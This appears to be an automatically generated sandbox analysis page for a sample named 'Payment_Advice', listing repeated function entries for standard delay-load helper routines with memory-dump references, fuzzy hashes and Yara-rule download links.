Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: c0e466547fea7025509c8ac3c3510460ce548305894511de9a5e226570b01f55
Instruction ID: 5bad1e12a893a58c0487441948fdc6a9072287219f02220e92903c9140319eb1
Opcode Fuzzy Hash: c0e466547fea7025509c8ac3c3510460ce548305894511de9a5e226570b01f55
Instruction Fuzzy Hash: A0B012F5298001BC321451151D0BCB70ECCF4C2B10730443EFC06C2080DC506DC34531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E2B4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 64d75098faa350a264ca4ef68e46456e8a199c3ca54616163eceb4b17126f9ec
Instruction ID: 1ab5a3ba847742a53dee2997fbcdd5b6b2542b5c461fd2043b2f948adb45dbaa
Opcode Fuzzy Hash: 64d75098faa350a264ca4ef68e46456e8a199c3ca54616163eceb4b17126f9ec
Instruction Fuzzy Hash: 69B012E5298001BC321451155C0BCF70E4CF4C2B10330483EFC06C20C0D8506C824531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E546 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E51F

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

(Q, xrefs: 0051E519

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: (Q
API String ID: 1269201914-982174220
Opcode ID: a28208e013271a5ab066f1ce1e945e8f8af0941dfb60797f29cd8ff4a6b969cb
Instruction ID: 384d580720536c458eabb9d62dd21b44398fb2f1b5a4bad166f055dde481dd3b
Opcode Fuzzy Hash: a28208e013271a5ab066f1ce1e945e8f8af0941dfb60797f29cd8ff4a6b969cb
Instruction Fuzzy Hash: A8B012D12581017C3304520C5C0FC7F0E5DF4C1F20330462EFC04C1080F9400CCA0631

Uniqueness

Uniqueness Score: -1.00%

Function 0051E50D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E51F

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

(Q, xrefs: 0051E519

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: (Q
API String ID: 1269201914-982174220
Opcode ID: 102e6c8bd5d964202d85397b0c4c0600f505c3bb58103d5e3b15498fef279dd1
Instruction ID: 8ecb05370b9ee4b97d56e7f7892030b7e8e7a765df67a891f2afe4793ca95dab
Opcode Fuzzy Hash: 102e6c8bd5d964202d85397b0c4c0600f505c3bb58103d5e3b15498fef279dd1
Instruction Fuzzy Hash: 69B012E125C0017C320412281C0FC7F0E0DF4C1F20730543EFC10D04C1B9400D8A0531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E53C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E51F

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

(Q, xrefs: 0051E519

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: (Q
API String ID: 1269201914-982174220
Opcode ID: 2e2058d4fc799fc04c97a45818e45f93b7520e72a0fcb3e2b1cad2c1fed61193
Instruction ID: d07639e87e373bab5986571af49475234fc641869047851e3ee75bedde6fefd7
Opcode Fuzzy Hash: 2e2058d4fc799fc04c97a45818e45f93b7520e72a0fcb3e2b1cad2c1fed61193
Instruction Fuzzy Hash: 05B012D1658001BC3204920C5C0FC7F0F5DF4C5F20330852EFC04C1080F9404C860631

Uniqueness

Uniqueness Score: -1.00%

Function 0051E528 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E51F

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

(Q, xrefs: 0051E519, 0051E528

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: (Q
API String ID: 1269201914-982174220
Opcode ID: ba685e92d53da3c6016589c9f56446b14ca6f214655d56dd3865532bc0b299b1
Instruction ID: 0289a0ff10d8d32a8d6fd719b2e693be48e669da978286ef03dbfe208c18dc66
Opcode Fuzzy Hash: ba685e92d53da3c6016589c9f56446b14ca6f214655d56dd3865532bc0b299b1
Instruction Fuzzy Hash: A3B012D12580417C3244520C1D0BC7F0E4DF4C1F20330842EFC04C1080F9400C870631

Uniqueness

Uniqueness Score: -1.00%

Function 0051E593 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E580

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

FvnQ, xrefs: 0051E57A, 0051E593

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FvnQ
API String ID: 1269201914-3908200080
Opcode ID: edbb96d7f344e0838edce2cd95fccc59dfa235146c2a3d2eaffb13433e4221ac
Instruction ID: 52a7335371a060eb442a6f4d58525651013481ab64af98f7d12e969e17493030
Opcode Fuzzy Hash: edbb96d7f344e0838edce2cd95fccc59dfa235146c2a3d2eaffb13433e4221ac
Instruction Fuzzy Hash: D9B012D16591017D3244A1581C07C7B0E8DF4C1B10331442EFC04C2080E8500C820531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E5B1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E580

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

FvnQ, xrefs: 0051E57A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FvnQ
API String ID: 1269201914-3908200080
Opcode ID: f09d8e8f62443e99bc7cf7081e1c9c43a7a5809830f617eff222e2857eafd6da
Instruction ID: f39c82a2866d712456f794a39836473f5a67fed648a9be4f96a14d22be800a96
Opcode Fuzzy Hash: f09d8e8f62443e99bc7cf7081e1c9c43a7a5809830f617eff222e2857eafd6da
Instruction Fuzzy Hash: 6AB012E16582017D3244A1585C07C7B0EADF4C1B10331462EFC04C2080E8400CC20531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E5A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E580

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

FvnQ, xrefs: 0051E57A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FvnQ
API String ID: 1269201914-3908200080
Opcode ID: 9c5faa4e6545e3b78c9f62bfc2f85352e77bed2f4bde53d174e22d454e88ad5f
Instruction ID: bdd937751aa5b4fb497b535f85f411053e568b8a313c4aca544118b33a9002e7
Opcode Fuzzy Hash: 9c5faa4e6545e3b78c9f62bfc2f85352e77bed2f4bde53d174e22d454e88ad5f
Instruction Fuzzy Hash: 80B012E16581017C3204A1585D07C7B4EADF4C1B10371462EFC04C2080EC400D830531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E25F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: e79f5ecbc0742461898dd6528af2eab18a8408183d4ce3ae649ac009c8e35488
Instruction ID: 57443957aa994ddf51618c6ab4adb63bfd46b8364081013a22d4c7ac4f8f571a
Opcode Fuzzy Hash: e79f5ecbc0742461898dd6528af2eab18a8408183d4ce3ae649ac009c8e35488
Instruction Fuzzy Hash: AAA011EA2A8002BC300822222C0BCBB0E0CF8C2B20330882EFC03C0080A88028820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E27D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: ab01764e80feffea34cab7183cc176e49019d1ed60cfdf285aaa725e3c0a906a
Instruction ID: 57443957aa994ddf51618c6ab4adb63bfd46b8364081013a22d4c7ac4f8f571a
Opcode Fuzzy Hash: ab01764e80feffea34cab7183cc176e49019d1ed60cfdf285aaa725e3c0a906a
Instruction Fuzzy Hash: AAA011EA2A8002BC300822222C0BCBB0E0CF8C2B20330882EFC03C0080A88028820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E219 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: d4a4c04d996de001eb491cf6563a5f48a29e5f569089b6b8adccc3d7a84ecc21
Instruction ID: 57443957aa994ddf51618c6ab4adb63bfd46b8364081013a22d4c7ac4f8f571a
Opcode Fuzzy Hash: d4a4c04d996de001eb491cf6563a5f48a29e5f569089b6b8adccc3d7a84ecc21
Instruction Fuzzy Hash: AAA011EA2A8002BC300822222C0BCBB0E0CF8C2B20330882EFC03C0080A88028820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E2D7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: e545a77cfbb902f967d8588c6301e8d603fa9df60d1f7889228616cd367a9e8b
Instruction ID: 57443957aa994ddf51618c6ab4adb63bfd46b8364081013a22d4c7ac4f8f571a
Opcode Fuzzy Hash: e545a77cfbb902f967d8588c6301e8d603fa9df60d1f7889228616cd367a9e8b
Instruction Fuzzy Hash: AAA011EA2A8002BC300822222C0BCBB0E0CF8C2B20330882EFC03C0080A88028820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E2C3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 03bf940733d9f0fbf44504780eb2a3d9b52c9f0682f8858d84537a4fade24b23
Instruction ID: 57443957aa994ddf51618c6ab4adb63bfd46b8364081013a22d4c7ac4f8f571a
Opcode Fuzzy Hash: 03bf940733d9f0fbf44504780eb2a3d9b52c9f0682f8858d84537a4fade24b23
Instruction Fuzzy Hash: AAA011EA2A8002BC300822222C0BCBB0E0CF8C2B20330882EFC03C0080A88028820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E2CD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 9373bef018d65071d67d7ef5b5ebb5016fec6a7bf5398a2ca7c2f6a24891f4a8
Instruction ID: 57443957aa994ddf51618c6ab4adb63bfd46b8364081013a22d4c7ac4f8f571a
Opcode Fuzzy Hash: 9373bef018d65071d67d7ef5b5ebb5016fec6a7bf5398a2ca7c2f6a24891f4a8
Instruction Fuzzy Hash: AAA011EA2A8002BC300822222C0BCBB0E0CF8C2B20330882EFC03C0080A88028820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E291 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 370edf4aaf6f82a2e96f4df348c10203cd8a1784495e52bc78df4be340762711
Instruction ID: 57443957aa994ddf51618c6ab4adb63bfd46b8364081013a22d4c7ac4f8f571a
Opcode Fuzzy Hash: 370edf4aaf6f82a2e96f4df348c10203cd8a1784495e52bc78df4be340762711
Instruction Fuzzy Hash: AAA011EA2A8002BC300822222C0BCBB0E0CF8C2B20330882EFC03C0080A88028820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E29B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

